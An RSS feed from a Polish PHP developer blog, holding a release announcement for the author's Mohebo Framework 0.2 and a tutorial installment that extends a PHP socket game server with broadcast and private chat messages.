<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Michał Środek &#187; PHP</title>
	<atom:link href="http://srodek.info/category/php/feed" rel="self" type="application/rss+xml" />
	<link>http://srodek.info</link>
	<description>Po prostu devBlog</description>
	<lastBuildDate>Sun, 18 Jul 2010 12:10:25 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Mohebo Framework 0.2</title>
		<link>http://srodek.info/blog/397/mohebo-framework-0-2</link>
		<comments>http://srodek.info/blog/397/mohebo-framework-0-2#comments</comments>
		<pubDate>Fri, 16 Jul 2010 23:51:51 +0000</pubDate>
		<dc:creator>Michał Środek</dc:creator>
				<category><![CDATA[Moje projekty]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://srodek.info/?p=397</guid>
		<description><![CDATA[Dzisiaj, po dwóch latach ciężkiej pracy, wydałem kolejną wersję mojego frameworka. Poprawek nie ma wiele jednak spora ich część znacznie ułatwia pracę. Najważniejszą jednak jest chyba zmiana licencji z LGPL na MIT. W ciągu kilka najbliższych dni postaram się napisać kilka artykułów z serii „Tworzymy portal w oparciu o Mohebo Framework“. Mam nadzieję, że przypadnie [...]]]></description>
			<content:encoded><![CDATA[<p>Dzisiaj, po dwóch latach ciężkiej pracy, wydałem kolejną wersję mojego frameworka. Poprawek nie ma wiele jednak spora ich część znacznie ułatwia pracę. Najważniejszą jednak jest chyba zmiana licencji z LGPL na MIT. W ciągu kilka najbliższych dni postaram się napisać kilka artykułów z serii „Tworzymy portal w oparciu o Mohebo Framework“. Mam nadzieję, że przypadnie on wam do gustu. Wszelkie opinie i komentarze proszę zamieszczać tutaj lub dołączyć się do dyskusji na <A href="http://forum.php.pl/index.php?showtopic=102221&#038;view=getnewpost">forum.php.pl</a></p>
<p>Paczka jest dostępna pod adresem: <a href="http://srodek.info/files/MoheboFramework-0.2.tar.gz">http://srodek.info/files/MoheboFramework-0.2.tar.gz</a><br />
Dokumentację można znaleźć na <a href="http://mohebo.com">http://mohebo.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://srodek.info/blog/397/mohebo-framework-0-2/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Serwer gry. Część druga</title>
		<link>http://srodek.info/blog/256/serwer-gry-czesc-druga</link>
		<comments>http://srodek.info/blog/256/serwer-gry-czesc-druga#comments</comments>
		<pubDate>Fri, 14 May 2010 19:40:47 +0000</pubDate>
		<dc:creator>Michał Środek</dc:creator>
				<category><![CDATA[Gry]]></category>
		<category><![CDATA[Moje projekty]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://srodek.info/?p=256</guid>
		<description><![CDATA[Spróbujmy udoskonalić nasz serwer tak aby posiadał możliwości prostego chatu — wysyłanie wiadomości ogólnych do wszystkich użytkowników oraz prywatnych tylko do jednej osoby. Mój kod urósł prawie do 150 linijek przy czym nie uwzględnia on kilku rzeczy, o których wspomnę podczas pisania protokołu lub tworzenia klientów.(w końcu nie piszę MUD-a i telnet muszę zastąpić czymś [...]]]></description>
			<content:encoded><![CDATA[<p>Spróbujmy udoskonalić nasz serwer tak aby posiadał możliwości prostego chatu — wysyłanie wiadomości ogólnych do wszystkich użytkowników oraz prywatnych tylko do jednej osoby. Mój kod urósł prawie do 150 linijek przy czym nie uwzględnia on kilku rzeczy, o których wspomnę podczas pisania protokołu lub tworzenia klientów.(w końcu nie piszę <a href="http://pl.wikipedia.org/wiki/MUD_(RPG)">MUD-a</a> i telnet muszę zastąpić czymś innym).</p>
<p><span id="more-256"></span></p>
<p>Poprawiony kod wygląda tak:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> 
<span style="color: #990000;">set_time_limit</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">class</span> GameClient
<span style="color: #009900;">&#123;</span>
   <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000088;">$id</span><span style="color: #339933;">;</span>
   <span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000088;">$socket</span><span style="color: #339933;">;</span>
&nbsp;
   <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> __construct<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span><span style="color: #000088;">$socket</span><span style="color: #339933;">,</span> <span style="color: #000088;">$id</span><span style="color: #009900;">&#41;</span>
   <span style="color: #009900;">&#123;</span>
      <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">socket</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$socket</span><span style="color: #339933;">;</span>
      <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">id</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$id</span><span style="color: #339933;">;</span>
   <span style="color: #009900;">&#125;</span>
&nbsp;
   <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> sendMessage<span style="color: #009900;">&#40;</span><span style="color: #000088;">$message</span><span style="color: #009900;">&#41;</span>
   <span style="color: #009900;">&#123;</span>
      <span style="color: #990000;">socket_write</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">socket</span><span style="color: #339933;">,</span> <span style="color: #000088;">$message</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #990000;">chr</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Wysylam wiadomosc do '</span><span style="color: #339933;">.</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">id</span><span style="color: #339933;">.</span><span style="color: #0000ff;">': '</span><span style="color: #339933;">.</span><span style="color: #000088;">$message</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
   <span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">class</span> GameServer
<span style="color: #009900;">&#123;</span>
   <span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000088;">$master</span><span style="color: #339933;">;</span>
   <span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000088;">$address</span><span style="color: #339933;">;</span> 
   <span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000088;">$port</span><span style="color: #339933;">;</span> 
   <span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000088;">$maxClients</span><span style="color: #339933;">;</span>
   <span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000088;">$sockets</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   <span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000088;">$clients</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
   <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> __construct<span style="color: #009900;">&#40;</span><span style="color: #000088;">$address</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'127.0.0.123'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$port</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">14117</span><span style="color: #339933;">,</span> <span style="color: #000088;">$maxClients</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">10</span><span style="color: #009900;">&#41;</span>
   <span style="color: #009900;">&#123;</span>
      <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">address</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$address</span><span style="color: #339933;">;</span>
      <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">port</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$port</span><span style="color: #339933;">;</span>
      <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">maxClients</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$maxClients</span><span style="color: #339933;">;</span>
&nbsp;
      <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">master</span> <span style="color: #339933;">=</span> <span style="color: #990000;">socket_create</span><span style="color: #009900;">&#40;</span>AF_INET<span style="color: #339933;">,</span> SOCK_STREAM<span style="color: #339933;">,</span> SOL_TCP<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #990000;">socket_bind</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">master</span><span style="color: #339933;">,</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">address</span><span style="color: #339933;">,</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">port</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #990000;">socket_listen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">master</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">sockets</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">master</span><span style="color: #339933;">;</span>
&nbsp;
      <span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span>
      <span style="color: #009900;">&#123;</span>
         <span style="color: #000088;">$changedSockets</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">sockets</span><span style="color: #339933;">;</span>
         <span style="color: #990000;">socket_select</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$changedSockets</span><span style="color: #339933;">,</span><span style="color: #000088;">$write</span><span style="color: #339933;">=</span><span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">,</span><span style="color: #000088;">$exceptions</span><span style="color: #339933;">=</span><span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
         <span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$changedSockets</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$socket</span><span style="color: #009900;">&#41;</span>
         <span style="color: #009900;">&#123;</span>
            <span style="color: #666666; font-style: italic;">// zmiana gniazda głównego =&gt; nowe polaczenie</span>
            <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$socket</span> <span style="color: #339933;">==</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">master</span><span style="color: #009900;">&#41;</span>
            <span style="color: #009900;">&#123;</span>
               <span style="color: #000088;">$socket</span> <span style="color: #339933;">=</span> <span style="color: #990000;">socket_accept</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">master</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
&nbsp;
               <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">sockets</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$socket</span><span style="color: #339933;">;</span>
               <span style="color: #000088;">$id</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array_search</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$socket</span><span style="color: #339933;">,</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">sockets</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">clients</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> GameClient<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">sockets</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$id</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$id</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
            <span style="color: #009900;">&#125;</span>
            <span style="color: #666666; font-style: italic;">// zmiana gniazda jednego z klientów</span>
            <span style="color: #b1b100;">else</span>
            <span style="color: #009900;">&#123;</span>
               <span style="color: #000088;">$input</span> <span style="color: #339933;">=</span> <span style="color: #990000;">socket_read</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$socket</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1024</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
               <span style="color: #000088;">$input</span> <span style="color: #339933;">=</span> <span style="color: #990000;">trim</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$input</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot; <span style="color: #000099; font-weight: bold;">\t</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\r</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
               <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">strlen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$input</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #cc66cc;">0</span> <span style="color: #339933;">||</span> <span style="color: #000088;">$input</span><span style="color: #339933;">==</span><span style="color: #0000ff;">'exit'</span><span style="color: #009900;">&#41;</span>
               <span style="color: #009900;">&#123;</span>
                  <span style="color: #000088;">$output</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'Bye bye!'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #990000;">chr</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
&nbsp;
                  <span style="color: #666666; font-style: italic;">// send data to socket </span>
                  <span style="color: #990000;">socket_write</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$socket</span><span style="color: #339933;">,</span> <span style="color: #000088;">$output</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
                  <span style="color: #000088;">$id</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array_search</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$socket</span><span style="color: #339933;">,</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">sockets</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                  <span style="color: #990000;">unset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">sockets</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$id</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                  <span style="color: #990000;">unset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">clients</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$id</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
                  <span style="color: #990000;">socket_close</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$socket</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
               <span style="color: #009900;">&#125;</span>
               <span style="color: #b1b100;">else</span>
               <span style="color: #009900;">&#123;</span>
                  <span style="color: #000088;">$command</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">strpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$input</span><span style="color: #339933;">,</span><span style="color: #0000ff;">' '</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">!==</span><span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span>
                      ? <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$input</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #990000;">strpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$input</span><span style="color: #339933;">,</span><span style="color: #0000ff;">' '</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
                      <span style="color: #339933;">:</span> <span style="color: #000088;">$input</span><span style="color: #339933;">;</span>
&nbsp;
                  <span style="color: #b1b100;">switch</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$command</span><span style="color: #009900;">&#41;</span>
                  <span style="color: #009900;">&#123;</span>
                     <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'hello'</span><span style="color: #339933;">:</span>
                        <span style="color: #000088;">$output</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'Hello!'</span><span style="color: #339933;">;</span>
                        <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
                     <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'list'</span><span style="color: #339933;">:</span>
                        <span style="color: #666666; font-style: italic;">// identyfikatory wszystkich gniazd</span>
                        <span style="color: #000088;">$all</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array_keys</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">sockets</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                         <span style="color: #666666; font-style: italic;">// identyfikator uzytkownika</span>
                        <span style="color: #000088;">$id</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array_search</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$socket</span><span style="color: #339933;">,</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">sockets</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #666666; font-style: italic;">// usuniecie ID glownego gniazda oraz gniazda uzytkownika</span>
                        <span style="color: #000088;">$all</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array_diff</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$all</span><span style="color: #339933;">,</span> <span style="color: #990000;">Array</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #000088;">$id</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
                        <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$all</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
                           <span style="color: #000088;">$output</span><span style="color: #339933;">=</span><span style="color: #0000ff;">'Nie ma innych osob'</span><span style="color: #339933;">;</span>
                        <span style="color: #b1b100;">else</span>
                           <span style="color: #000088;">$output</span><span style="color: #339933;">=</span><span style="color: #0000ff;">'ID innych osob to: '</span><span style="color: #339933;">.</span><span style="color: #990000;">implode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">', '</span><span style="color: #339933;">,</span><span style="color: #000088;">$all</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
                     <span style="color: #b1b100;">default</span><span style="color: #339933;">:</span>
                        <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">is_numeric</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$command</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
                        <span style="color: #009900;">&#123;</span>
                           <span style="color: #666666; font-style: italic;">// identyfikator uzytkownika</span>
                           <span style="color: #000088;">$id</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array_search</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$socket</span><span style="color: #339933;">,</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">sockets</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                           <span style="color: #666666; font-style: italic;">// wyslanie wiadomosci do wszystkich</span>
                           <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$command</span><span style="color: #339933;">==</span><span style="color: #0000ff;">'0'</span><span style="color: #009900;">&#41;</span>
                           <span style="color: #009900;">&#123;</span>
                              <span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">clients</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$client</span><span style="color: #009900;">&#41;</span>
                              <span style="color: #009900;">&#123;</span>
                                 <span style="color: #666666; font-style: italic;">// nie wysylamy do siebie</span>
                                 <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$client</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">id</span><span style="color: #339933;">!=</span><span style="color: #000088;">$id</span><span style="color: #009900;">&#41;</span>
                                    <span style="color: #000088;">$client</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">sendMessage</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$input</span><span style="color: #339933;">,</span><span style="color: #990000;">strpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$input</span><span style="color: #339933;">,</span><span style="color: #0000ff;">' '</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                              <span style="color: #009900;">&#125;</span>
                              <span style="color: #000088;">$output</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'Do wszystkich'</span><span style="color: #339933;">;</span>
                           <span style="color: #009900;">&#125;</span>
                           <span style="color: #666666; font-style: italic;">// nie wysylamy do siebie, uzytkownik istnieje</span>
                           <span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$command</span><span style="color: #339933;">!=</span><span style="color: #000088;">$id</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">sockets</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$command</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
                           <span style="color: #009900;">&#123;</span>
                              <span style="color: #666666; font-style: italic;">// jeden mniejszy ponieważ $this-&gt;master znajduje sie</span>
                              <span style="color: #666666; font-style: italic;">// w tablicy gniazd a nie jest klientem</span>
                              <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">clients</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$command</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">sendMessage</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$input</span><span style="color: #339933;">,</span><span style="color: #990000;">strpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$input</span><span style="color: #339933;">,</span><span style="color: #0000ff;">' '</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                              <span style="color: #000088;">$output</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'OK'</span><span style="color: #339933;">;</span>
                           <span style="color: #009900;">&#125;</span>
                           <span style="color: #b1b100;">else</span>
                              <span style="color: #000088;">$output</span> <span style="color: #339933;">=</span><span style="color: #0000ff;">'Bledny ID'</span><span style="color: #339933;">;</span> 
                        <span style="color: #009900;">&#125;</span>
                        <span style="color: #b1b100;">else</span>
                           <span style="color: #000088;">$output</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'Niezrozumiale polecenie: '</span><span style="color: #339933;">.</span><span style="color: #000088;">$input</span><span style="color: #339933;">.</span><span style="color: #0000ff;">''</span><span style="color: #339933;">;</span> 
                  <span style="color: #009900;">&#125;</span>
                  <span style="color: #990000;">socket_write</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$socket</span><span style="color: #339933;">,</span> <span style="color: #000088;">$output</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #990000;">chr</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
               <span style="color: #009900;">&#125;</span>
            <span style="color: #009900;">&#125;</span>
         <span style="color: #009900;">&#125;</span>
      <span style="color: #009900;">&#125;</span>
   <span style="color: #009900;">&#125;</span>
&nbsp;
   <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> __desctruct<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
   <span style="color: #009900;">&#123;</span>
      <span style="color: #990000;">socket_close</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">master</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
   <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000088;">$gameServer</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> GameServer<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>Czas na krótką analizę. Pierwsze co rzuca się w oczy to nowa klasa <em>GameClient</em>. Jest to klasa, z którą wiążę pewne plany. Obiekty tej klasy przechowują dwie rzeczy — gniazdo oraz jego identyfikator. Metoda sendMessage() służy do wysyłania wiadomości do użytkownika, który jest podpięty do tego gniazda.</p>
<p>W klasie <em>GameServer</em> pojawiły się dwa nowe pola prywatne, tablica <em>sockets</em> przechowująca wszystkie gniazda dostępne dla serwera oraz tablicę <em>clients</em> przechowującą obiekty klasy <em>GameClient</em>.</p>
<p>Ogólne założenia się nie zmieniły — wciąż istnieje pętla nieskończona jednak jej zawartość została zmodyfikowana.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$changedSockets</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">sockets</span><span style="color: #339933;">;</span>
<span style="color: #990000;">socket_select</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$changedSockets</span><span style="color: #339933;">,</span><span style="color: #000088;">$write</span><span style="color: #339933;">=</span><span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">,</span><span style="color: #000088;">$exceptions</span><span style="color: #339933;">=</span><span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Użyliśmy tutaj funkcji socket_select(). W parametrach podajemy referencje(dlatego pierwsza linijka jest konieczna) do tablic gniazd, a funkcja pozostawia w nich jedynie te elementy, w których zaszły pewne zdarzenia. Pierwszy parametr odpowiada czy czytanie, czyli wybrane zostaną jedynie te gniazda, które coś przesyłają do serwera. Drugi i trzeci parametr odpowiadają za pisanie oraz wyjątki lecz nas one nie interesują. Ostatni parametr dotyczy limitu czasu oczekiwania na wybranie poszczególnych gniazd. Null oznacza brat limitu czasowego.</p>
